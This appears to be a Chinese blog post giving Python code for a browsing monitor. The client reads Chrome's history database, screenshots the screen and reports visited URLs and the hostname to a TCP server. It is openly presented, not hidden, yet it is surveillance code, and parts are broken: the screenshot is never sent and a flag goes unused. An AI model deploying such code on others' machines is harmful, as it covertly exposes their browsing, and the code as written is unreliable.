监控网页浏览内容

思路:

不断访问chrome的历史记录,得到浏览内容,如果不在限定范围,则发送截图和url给服务器

服务器端

#!/usr/bin/env python
# coding:utf-8
import socket

import time


def handle_request(client):
    buf = client.recv(1024)
    print(buf)


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('0.0.0.0', 1234))
    sock.listen(5)

    while True:
        connection, address = sock.accept()
        handle_request(connection)
        connection.close()


if __name__ == '__main__':
    main()

 

客户端

 

import os,shutil
import socket
import sqlite3
import time

from PIL import ImageGrab

class history_query():

    def __init__(self):
        self.url_set = set()
        self.key = '####'
        self.hostname = socket.gethostname()
        # 根据主机名称获取当前IP
        self.host = socket.gethostbyname(socket.gethostname())

    #访问浏览记录,并进行分析
    def query(self):
        data_path = r'C:\Users\favomj\AppData\Local\Google\Chrome\User Data\Default'
        files = os.listdir(data_path)
        history_db = os.path.join(data_path, 'history')
        dstfile = 'D:/history'
        shutil.copyfile(history_db, dstfile)
        # querying the db
        c = sqlite3.connect(dstfile)

        cursor = c.cursor()
        select_statement = "SELECT urls.url,urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"

        cursor.execute(select_statement)
        #col_name_list = [tuple[0] for tuple in cursor.description] 字段

        results = cursor.fetchall()  # tuple

        flag = 0
        for url, count in results:
            if self.key not in url and url not in self.url_set:
                self.url_set.add(url)
                im = self.ScressGrap()
                # im.show()
                self.send_msg_to_server(url)
        if flag == 0 :
            self.send_msg_to_server('200')

    #当前屏幕截图
    def ScressGrap(self):
        im = ImageGrab.grab()
        return im

    #发送给服务器
    def send_msg_to_server(self,msg):
        #加上本机ip 以进行区分
        host = ""
        port = 1234
        buf_size = 1024
        addr = (host, port)
        if len(msg) > 0:
            tcp_client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            tcp_client_sock.connect(addr)
            info = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time())) + ' from ' + socket.gethostname() + ':'
            tcp_client_sock.sendall((info + msg).encode())
            tcp_client_sock.close()

if __name__ == '__main__':
    hq = history_query()
    while True:
        hq.query()
        time.sleep(3)

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值